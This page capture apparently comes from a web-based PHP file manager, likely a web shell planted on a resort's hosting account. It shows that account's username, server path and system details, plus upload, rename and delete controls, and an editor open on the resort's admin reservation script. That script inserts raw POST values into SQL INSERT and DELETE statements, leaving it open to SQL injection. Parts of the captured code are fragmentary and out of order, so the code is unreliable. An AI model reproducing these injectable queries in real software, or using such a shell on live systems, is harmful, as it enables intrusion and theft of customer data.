Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/silverconchawavepoolresortandhotel.com/public_html/admin/pos

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: dayTour.php

<?php

include('user.php');
include('../controller/config.php');
// Create DB Connection
date_default_timezone_set('Asia/Manila');
$time_zone = date('Y-m-d');

if (isset($_POST['reserve'])) {

$query = "SELECT reservation_number FROM cottage_sales ORDER BY c_sales_id DESC";
    $result = mysqli_query($conn, $query);
    $row = mysqli_fetch_array($result);
    $num_rows = mysqli_num_rows($result);

if (empty($row['reservation_number'])) {
        $last_id = 0;
    } else {
        $last_id = $row['reservation_number'];
    }

if ($num_rows == 0) {

$si = "RC-00000001";
    } else {

$idd = str_replace("RC-", "", $last_id);
        $id = str_pad(intval($idd) + 1, 8, 0, STR_PAD_LEFT);
        $si = 'RC-' . $id;
    }

$tour = $_POST['tour'];
    $c_r_date = $_POST['c_r_date'];
    $cottage_id = $_POST['cottage_id'];
    $fullname = $_POST['fullname'];
    $contact_num = $_POST['contact_num'];
    $note = $_POST['note'];
    $adult = $_POST['adult'];
    $discounted = $_POST['discounted'];
    $pwd_child = $_POST['pwd_child'];
    $child = $_POST['child'];
    $pax = $adult + $child + $discounted + $pwd_child;
    $payment_status = $_POST['payment_status'];
    $mop = $_POST['mop'];
    $total = $_POST['total'];

$adult_total = $adult * 200;
    $child_total = $child * 110;
    $discounted_total = $discounted * 160;
    $pwd_childTotal = $pwd_child * 88;
    $pax_total = $adult_total + $child_total + $discounted_total + $pwd_childTotal;

$sql = "INSERT INTO `cottage_reservation`(`reservation_number`, `fullname`, `contact_num`, `num_pax`, `payment_status`, `mop`, `note`, `user_id`, `cottage_id`, `tour`, `c_r_date`, `total`, `date_created`) 
    VALUES ('$si','$fullname','$contact_num','$pax','$payment_status','$mop','$note','$log_id','$cottage_id','$tour','$c_r_date','$total','$timezone')";
    $res = $conn->query($sql);

$sql1 = "INSERT INTO `pax`(`adult`, `children`, `pax_total`, `reservation_number`, `pwd_sc`, `pwd_child`) 
    VALUES ('$adult','$child','$pax_total','$si', '$discounted', '$pwd_child')";
    $res1 = $conn->query($sql1);

$sql2 = "INSERT INTO `cottage_sales`(`reservation_number`, `total`, `c_sales_date`, `user_id`)
     VALUES ('$si','$total','$c_r_date','$log_id')";
    $res2 = $conn->query($sql2);

if ($res2 == TRUE) {
        $_SESSION['status'] = "Accomodation Successfully Added!";
        $_SESSION['code'] = "success";
    }
}

if (isset($_POST['id'])) {
    $cottage_id = $_POST['id'];

$sql = "DELETE FROM cottage where cottage_id = $cottage_id ";
    $res = $conn->query($sql);

if ($res == TRUE) {
        $_SESSION['status'] = "Cottage Successfully Deleted!";
        $_SESSION['code'] = "success";
    }
}

?>
<!DOCTYPE html>
<html lang="en">

<head>

<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Silver Concha Wavepool Resort | Admin</title>
        <link href="../img/logo2.png" rel="icon" />

.suggestion-item {
                padding: 12px;
                cursor: pointer;
            }

.suggestion-item:hover {
                background: #286ba9;
                color: white;
            }

table.full-width-table {
                width: 100%;
                /* Make the table span the full width of the container */
                border-collapse: collapse;
                /* Optional: to collapse table borders */
            }

td {
                padding: 8px;
                border: 1px solid #ddd;
                /* Optional: border for the table cells */
            }

.left {
                text-align: left;
                width: 50%;
                /* Optionally, ensure the "Available" column takes up 50% of the width */
            }

.right {
                text-align: right;
                width: 50%;
                /* Ensure the value column takes up the remaining 50% */
            }
        </style>
    </head>

tr td {
            padding: 0.1 !important;
            margin: 0.1 !important;
        }
    </style>

</head>

<li class="nav-item">
                            <a href="index.php" class="nav-link ">
                                <i class="fa-solid fa-gauge"></i> Dashboard
                            </a>
                        </li>
                        <li class="nav-item">
                            <a href="reservation.php" class="nav-link"><i class="fa-solid fa-calendar-days"></i> Reservation</a>
                        </li>

<li class="nav-item dropdown">
                            <a id="dropdownSubMenu1" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" class="nav-link  dropdown-toggle"><i class="fa-solid fa-umbrella-beach"></i>
                                Manage Cottages</a>
                            <ul aria-labelledby="dropdownSubMenu1" class="dropdown-menu border-0 shadow">
                                <li><a href="manageCottage.php" class="dropdown-item"><i class="fa-solid fa-gears mr-1"></i> Category </a></li>
                                <li><a href="#" class="dropdown-item"><i class="fa-solid fa-umbrella mr-1"></i> Cottages</a></li>

</ul>
                        </li>

</ul>

<ul class="order-1 order-md-3 navbar-nav navbar-no-expand ml-auto">

<li class="nav-item dropdown">
                            <a class="nav-link" data-toggle="dropdown" href="#">
                                <i class="fa-solid fa-user mr-lg-1"></i> <?php echo $log_name ?>
                                <i class="fa-solid fa-angle-down ml-lg-1"></i>
                            </a>
                            <div class="dropdown-menu dropdown-menu-xs dropdown-menu-right">

<a href="lockscreen.php" class="dropdown-item">
                                    <i class="fa-solid fa-user-lock mr-1"></i> Lock User
                                </a>
                                <div class="dropdown-divider"></div>
                                <a href="settings.php" class="dropdown-item">
                                    <i class="fa-solid fa-gears mr-1"></i> Settings
                                </a>
                                <div class="dropdown-divider"></div>
                                <a href="../controller/logout.php" class="dropdown-item">
                                    <i class="fa-solid fa-right-to-bracket mr-1"></i> Logout
                                </a>
                            </div>

</li>
                    </ul>
                </div>
        </nav>

<div class="content-wrapper">
            
            <div class="content-header">
                <div class="container-fluid">
                    <center>

<H1 class="font-weight-bold">DAY TOUR INFORMATION (TODAY)</H1>
                        <a href="extend.php" class="btn text-white bg-success"><i class="fa-solid fa-right-left"></i> Extend Accommodation</a>
                </div><br>
                
            </div>

<div class="content">

<div class=" container-fluid">
                    <div class="row">
                        <?php
                        $sql = "SELECT * FROM cottage_category";
                        $res = $conn->query($sql);
                        while ($row = $res->fetch_assoc()) {
                            $c_cat_id = $row['c_cat_id'];  // Assuming this is the correct field for category ID.

// Debugging: Count all cottages in the category (whether reserved or not)
                            $debug_query = "SELECT COUNT(c.cottage_id) AS total_cottages
                    FROM cottage c
                    WHERE c.c_cat_id = ?";
                            // Prepare the debug statement
                            $debug_stmt = $conn->prepare($debug_query);
                            $debug_stmt->bind_param("i", $c_cat_id);
                            $debug_stmt->execute();
                            $debug_stmt->bind_result($total_cottages);
                            $debug_stmt->fetch();
                            $debug_stmt->free_result();
                            $debug_stmt->close();

// Query to count available cottages (those with no reservation for today)
                            $available_query = "SELECT COUNT(c.cottage_id) AS available_cottages
                        FROM cottage c
                        LEFT JOIN cottage_reservation cr ON cr.cottage_id = c.cottage_id AND cr.c_r_date = '$time_zone' AND cr.tour = 'Day'
                        WHERE c.c_cat_id = ? AND cr.cottage_id IS NULL";
                            $available_stmt = $conn->prepare($available_query);
                            $available_stmt->bind_param("i", $c_cat_id);
                            $available_stmt->execute();
                            $available_stmt->bind_result($available_cottages);
                            $available_stmt->fetch();
                            $available_stmt->free_result();
                            $available_stmt->close();

// Query to count occupied cottages (those reserved for today with tour = 'Day')
                            $occupied_query = "SELECT COUNT(c.cottage_id) AS occupied_cottages
                       FROM cottage c
                       LEFT JOIN cottage_reservation cr ON cr.cottage_id = c.cottage_id AND cr.c_r_date = '$time_zone' AND cr.tour = 'Day'
                       WHERE c.c_cat_id = ? AND cr.cottage_id IS NOT NULL";
                            $occupied_stmt = $conn->prepare($occupied_query);
                            $occupied_stmt->bind_param("i", $c_cat_id);
                            $occupied_stmt->execute();
                            $occupied_stmt->bind_result($occupied_cottages);
                            $occupied_stmt->fetch();
                            $occupied_stmt->free_result();
                            $occupied_stmt->close();

// Display the counts
                            // echo "Total cottages in category $c_cat_id: $total_cottages<br>";
                            // echo "Available cottages in category $c_cat_id: $available_cottages<br>";
                            // echo "Occupied cottages in category $c_cat_id: $occupied_cottages<br>";
                        ?>
                            <div class="col-md-2">
                                <div class="card">
                                    <div class="card-header text-center h5 font-weight-bold" style="background-color:rgb(110, 140, 96);">
                                        <?php echo $row['category_name']; ?>
                                    </div>
                                    <div class="card-body">
                                        <table class="full-width-table">
                                            <tr>
                                                <?php if ($available_cottages == 0) { ?>
                                                    <td class="left">Available:</td>
                                                    <td class="right bg-danger font-weight-bold h5"><?php echo $available_cottages; ?></td>
                                                <?php } else { ?>
                                                    <td class="left">Available:</td>
                                                    <td class="right font-weight-bold bg-success h5"><?php echo $available_cottages; ?></td>
                                                <?php } ?>

</tr>
                                            <tr>
                                                <?php if ($occupied_cottages >= 1) { ?>
                                                    <td class="left">Occupied:</td>
                                                    <td class="right bg-warning font-weight-bold h5"><?php echo $occupied_cottages; ?></td>
                                                <?php } else { ?>
                                                    <td class="left">Occupied:</td>
                                                    <td class="right font-weight-bold h5"><?php echo $occupied_cottages; ?></td>
                                                <?php } ?>
                                            </tr>
                                        </table>
                                    </div>
                                    <div class="card-footer">
                                        <a href="dayCreate.php?id=<?php echo $c_cat_id ?>" class="btn btn-block text-white" style="background-color:rgb(65, 93, 56);"><i class="fa-solid fa-plus"></i> Create</a>
                                    </div>
                                </div>
                            </div>
                        <?php } ?>
                    </div>
                </div>
                
            </div>
            
        </div>

<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
            aria-hidden="true">
            <div class="modal-dialog modal-lg" role="document">
                <div class="modal-content">
                    <div class="modal-header bg-lightblue">
                        <h5 class="modal-title" id="exampleModalLabel">CREATE ACCOMMODATION</h5>

<button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <form action="" method="post">
                            <div class="row" style="display: none;">
                                <div class="col">
                                    <div class="form-group">
                                        <label for="tour">Tour:</label>
                                        <select name="tour" id="tour" class="form-control">
                                            <option value="Day">Day</option>
                                        </select>
                                    </div>
                                </div>

<div class="col">
                                    <div class="form-group">
                                        <label for="date">Date:</label>
                                        <input type="date" id="date" class="form-control mb-2" value="<?php echo $time_zone ?>" name="c_r_date" required>
                                    </div>
                                </div>
                            </div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label for="">Cottage Category:</label>
                                        <select name="cottage_category" id="cottage_category" class="form-control">
                                            <option value="">*** Select Category ***</option>
                                            <?php
                                            $sql1 = "SELECT * FROM cottage_category"; // Query to fetch categories
                                            $res1 = $conn->query($sql1);
                                            while ($row1 = $res1->fetch_assoc()) { ?>
                                                <option value="<?php echo $row1['c_cat_id']; ?>" data-capacity="<?php echo $row1['capacity']; ?>" data-price="<?php echo $row1['price']; ?>"><?php echo $row1['category_name']; ?></option>
                                            <?php } ?>
                                        </select>
                                    </div>
                                </div>
                                <div class="col">
                                    <label for="">Cottage Name:</label>
                                    <select name="cottage_id" id="cottage_id" class="form-control">
                                        <option value="">*** Select Category First ***</option>
                                    </select>
                                </div>
                            </div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Full Name:</label>
                                        <input type="text" class="form-control mb-2" name="fullname" placeholder="Enter Full Name" required>
                                    </div>
                                </div>
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Contact Number:</label>
                                        <input type="number" class="form-control mb-2" name="contact_num" placeholder="Enter Contact Number" required>
                                    </div>
                                </div>
                            </div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Max. Capacity:</label>
                                        <input type="number" id="capacity" class="form-control mb-2" disabled style="background-color:rgb(5, 85, 88);">
                                    </div>
                                </div>
                                <div class=" col">
                                    <div class="form-group">
                                        <label Class="">No. of Adult:</label>
                                        <input type="number" id="adult" class="form-control mb-2" name="adult" placeholder="Enter Capacity" required>
                                    </div>
                                </div>

<div class="col">
                                    <div class="form-group">
                                        <label Class="">No. of Children:</label>
                                        <input type="number" id="child" class="form-control mb-2" name="child" placeholder="Enter Capacity" required>
                                    </div>
                                </div>

</div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">No. of PWD/Senior Adult:</label>
                                        <input type="number" id="discounted" class="form-control mb-2" name="discounted" placeholder="Enter PWD/Sc" required>
                                    </div>
                                </div>
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">No. of PWD Child:</label>
                                        <input type="number" id="pwd_child" class="form-control mb-2" name="pwd_child" placeholder="Enter PWD Child" required>
                                    </div>
                                </div>
                            </div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Payment Status:</label>
                                        <select name="payment_status" id="" class="form-control" required>
                                            <option value="">*** Select Status ***</option>
                                            <option value="Paid">Paid</option>
                                            <option value="Partial">Partial</option>
                                            <option value="Complimentary">Complimentary</option>
                                        </select>
                                    </div>
                                </div>

<div class="col">
                                    <div class="form-group">
                                        <label Class="">Mode of Payment:</label>
                                        <select name="mop" id="" class="form-control" required>
                                            <option value="">*** Select MOP ***</option>
                                            <option value="Cash">Cash</option>
                                            <option value="Check">Check</option>
                                            <option value="Bank Transfer">Bank Transfer</option>
                                            <option value="Gcash">Gcash</option>
                                            <option value="Complimentary">Complimentary</option>
                                        </select>
                                    </div>
                                </div>

<div class="col">
                                    <div class="form-group">
                                        <label Class="">Total:</label>
                                        <div class="input-group mb-3">
                                            <div class="input-group-prepend">
                                                <span class="input-group-text">₱</span>
                                            </div>
                                            <input type="number" style="background-color:rgb(5, 85, 88); font-size: 20px;" id="total" name="total" class="form-control" required readonly>
                                        </div>

</div>
                                </div>
                            </div>

</div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
                        <button type="submit" name="reserve" class="btn btn-primary px-5">Submit</button>
                    </div>
                    </form>
                </div>
            </div>
        </div>

<div class="modal fade" id="deleteModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
            aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title text-dark font-weight-bold" id="exampleModalLabel">DELETE CONFIRMATION</h5>
                        <button class="close" type="button" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">×</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <form method="POST" id="form-delete">

<h6>Are sure you want to Delete this Data?</h6>

</div>
                    <div class="modal-footer">
                        <button class="btn btn-danger" type="button" data-dismiss="modal">Cancel</button>
                        <button type="submit" form="form-delete" class="btn btn-primary">Yes. Delete It!</button>
                    </div>
                    </form>
                </div>
            </div>
        </div>

<footer class=" main-footer text-dark footer">
            
            <div class="float-right d-none d-sm-inline">
                <strong class="font-weight-bold"><i class="fa-regular fa-clock"></i> Running:
                    <?php $currentDateTime = new DateTime('now');
                    $currentDate = $currentDateTime->format('F d, Y');
                    echo $currentDate; ?> -
                    <span id="txt"></span></strong>
            </div>
            
            <strong>Copyright &copy;<img src="../img/zamjy.png" style="height: 30px; width: 30px;"> Powered By: <a
                    href="https://www.facebook.com/profile.php?id=61560951500923" target="_blank"> ESG
                    IT-Solutions</a>.</strong> All rights reserved 2025.
        </footer>
    </div>

<?php
    if (isset($_SESSION['status'])) {
    ?>

<?php
        unset($_SESSION['status']);
        unset($_SESSION['code']);
    }

</html>

// Get the number of adults, children, and discounted tickets
            var adultCount = parseInt($('#adult').val()) || 0;
            var childCount = parseInt($('#child').val()) || 0;
            var discountCount = parseInt($('#discounted').val()) || 0;
            var pwd_child = parseInt($('#pwd_child').val()) || 0;

// Calculate the discount for each discounted ticket
            var discountPrice = 200; // assuming the price for discounted tickets is 200
            var totalDiscount = discountCount * discountPrice * 0.20; // 20% discount for each discounted ticket
            var discountedCount = discountCount * discountPrice - totalDiscount;

var pwd_childPrice = 110;
            var totalPwdDiscount = pwd_child * pwd_childPrice * 0.20;
            var pwd_childDiscounted = pwd_child * pwd_childPrice - totalPwdDiscount;

// Calculate the total (with discounted tickets considered)
            var total = cottagePrice + discountedCount + pwd_childDiscounted + (adultCount * 200) + (childCount * 110);

// Set the calculated total in the #total input field
            $('#total').val(total.toFixed(2)); // Use .toFixed(2) to round to 2 decimal places

// Get the capacity from the selected cottage category
            var capacity = $('#cottage_category option:selected').data('capacity') || 0;

// Set the capacity in the #capacity input field
            $('#capacity').val(capacity); // Update the #capacity field with the value of data-capacity

// Validate adult and child input against capacity
            if (adultCount + childCount > capacity) {
                // If the sum of adult and child exceeds capacity, set background color to red
                $('#adult, #child').css('background-color', 'red');
            } else {
                // Reset background color if within capacity
                $('#adult, #child').css('background-color', '');
            }
        }

// Event listener to update the total and capacity when the cottage category changes
        $('#cottage_category').change(function() {
            updateTotal(); // Call the function to calculate total and set the capacity
        });

// Event listener to update the total and check validation when the number of adults, children, or discounted tickets changes
        $('#adult, #child , #discounted, #pwd_child').on('input', function() {
            updateTotal(); // Call the function to calculate total and set the capacity
        });
    });
</script>

var selectedDate = $('#date').val(); // Get the selected date
            var selectedTour = $('#tour').val(); // Get the selected tour (Day/Night)

// If a category, date, and tour are selected, fetch the cottages
            if (categoryId && selectedDate && selectedTour) {
                $.ajax({
                    url: 'fetch_cottages.php', // Endpoint to fetch cottages
                    method: 'GET',
                    data: {
                        category_id: categoryId,
                        date: selectedDate,
                        tour: selectedTour
                    },
                    success: function(response) {
                        console.log(response); // Log the response for debugging

// Ensure the response is parsed correctly as an array
                        if (Array.isArray(response)) {
                            // Clear existing options in cottage_id dropdown
                            $('#cottage_id').empty();
                            $('#cottage_id').append('<option value="">*** Select Cottage ***</option>');

// Loop through the response and populate the cottage dropdown
                            response.forEach(function(cottage) {
                                $('#cottage_id').append('<option value="' + cottage.cottage_id + '">' + cottage.cottage_name + '</option>');
                            });
                        } else {
                            console.error('Response is not an array:', response);
                        }
                    },
                    error: function(xhr, status, error) {
                        console.error('Error fetching cottages:', status, error);
                    }
                });
            } else {
                // If no category, date, or tour is selected, reset the cottage dropdown
                $('#cottage_id').empty().append('<option value="">*** Select Cottage ***</option>');
            }
        });

// Optional: Also trigger the fetch when the date or tour changes
        $('#date, #tour').change(function() {
            $('#cottage_category').trigger('change');
        });
    });
</script>

document.getElementById("form-delete").id.value = id;
        $("#deleteModal").modal("show");
    }
</script>

const today = new Date();
        let h = today.getHours();
        let m = today.getMinutes();
        let s = today.getSeconds();

var date_format = '12'; /* FORMAT CAN BE 12 hour (12) OR 24 hour (24)*/
        var result = h;
        var ext = '';

if (date_format == '12') {
            if (h > 12) {
                ext = 'PM';
                h = (h - 12);
                result = h;

if (h < 10) {
                    result = "0" + h;
                } else if (h == 12) {
                    h = "00";
                    ext = 'AM';
                }
            } else if (h < 12) {
                result = ((h < 10) ? "0" + h : h);
                ext = 'AM';
            } else if (h == 12) {
                ext = 'PM';
            }
        }

if (m < 10) {
            m = "0" + m;
        }

if (s < 10) {
            s = "0" + s;
        }
        result = result + ":" + m + ':' + s + ' ' + ext;
        m = checkTime(m);
        s = checkTime(s);
        document.getElementById('txt').innerHTML = result;
        setTimeout(startTime, 1000);
    }

function checkTime(i) {
        if (i < 10) {
            i = "0" + i
        }; // add zero in front of numbers < 10
        return i;
    }
</script>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: dayTour.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation